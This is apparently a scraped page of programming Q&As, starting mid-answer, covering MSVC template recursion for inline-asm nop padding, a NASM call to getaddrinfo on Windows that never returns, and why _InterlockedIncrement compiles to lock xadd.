npad<4>();
__asm
{
cmp edx, DWORD PTR [4 * eax + kPowers-4]
sbb eax, 0
}
}
That'll produce the desired output (exactly the same as the one just above) in all optimized builds—whether you optimize for size (/O1) or speed (/O2)—…but not in debugging builds. If you need it in debug builds, you'll have to resort to the C macros. :-(
Base on Cody Gray Answer and code example for metaprogramming using template recursion and inline or forceinline as stated on the code before
template <size_t N> __forceinline void npad()
{
npad<N-1>();
__asm { nop }
}
template <> __forceinline void npad<0>() { }
It won't work on visual studio, without setting some options and is not a guarantee it will work
Although __forceinline is a stronger indication to the compiler than
__inline, inlining is still performed at the compiler's discretion, but no heuristics are used to determine the benefits from inlining this function.
You can read more about this here https://learn.microsoft.com/en-us/cpp/error-messages/compiler-warnings/compiler-warning-level-4-c4714?view=vs-2019

Windows getaddrinfo hangs; won't return

Trying to implement a system-independend socket api in assembler as private project, I wrote the following code to resolve a string address (DNS or direct IP) to a sockaddr record.
MSDN told me to use getaddrinfo.
[import getaddrinfo Ws2_32.dll]
[extern getaddrinfo]
[section .data use32 class=data]
google db 'www.google.com', 0
[section .code use32 class=code]
main:
push ebp
mov ebp, esp
call socket.initialise ; calls successfully (debugger) WSAStartup
push google
call address.translate
[...]
; address.translate(string) : address
address.translate:
push ebp
mov ebp, esp
sub esp, 0x04
.prepareSystemCall:
xor eax, eax
mov dword [ebp-0x04], eax
.callSystemLookup:
lea edx, [ebp-0x04]
push edx
push 0
push 0
push dword [ebp+0x08]
call [getaddrinfo] ; never returns
.return:
leave
ret 4
But the call of getaddrinfo never returns, so there is no error code or something else. To find the problem I wrote the same program in c, which works (!?) and looked at the resulting assembler code:
004016DD 83EC 08 sub esp, 8
004016E0 C745 DC 00000000 mov [dword ss:ebp-24], 0
004016E7 8D45 DC lea eax, [dword ss:ebp-24]
004016EA 894424 0C mov [dword ss:esp+C], eax
004016EE C74424 08 00000000 mov [dword ss:esp+8], 0
004016F6 C74424 04 00000000 mov [dword ss:esp+4], 0
004016FE C70424 64504000 mov [dword ss:esp], a.00405064 ; ASCII "www.google.de"
00401705 E8 12020000 call <jmp.&ws2_32.getaddrinfo>
It's not equal but at the moment before the call the stack is exactly the same in both examples. Why does getaddrinfo not return?
I'm working on Windows 7 64-bit, using nasm and alink.

_InterlockedIncrement intrinsic implementation

Visual Studio produces the following machine code when _InterlockedIncrement is used:
; 40 : _InterlockedIncrement(&framecounter);
00078 b8 00 00 00 00 mov eax, OFFSET ?framecounter##3JA ; framecounter
0007d b9 01 00 00 00 mov ecx, 1
00082 f0 0f c1 08 lock xadd DWORD PTR [eax], ecx
If I would be writing this i would use just lock inc DWORD PTR [eax] instead of mov and xadd
Is there a valid reason why Microsoft preferred xadd and using 2 instructions instead of 1?
Because _InterlockedIncrement also returns the new value.
You can't do that with lock inc DWORD PTR [eax], because now neither the old nor the new value are anywhere to be found. Except in memory, but if you do an other read, clearly it won't be atomic (the increment itself would be, but you could get a value back that has nothing to do with what happened at the time of the increment).
Returning the value makes _InterlockedIncrement more useful.

Resources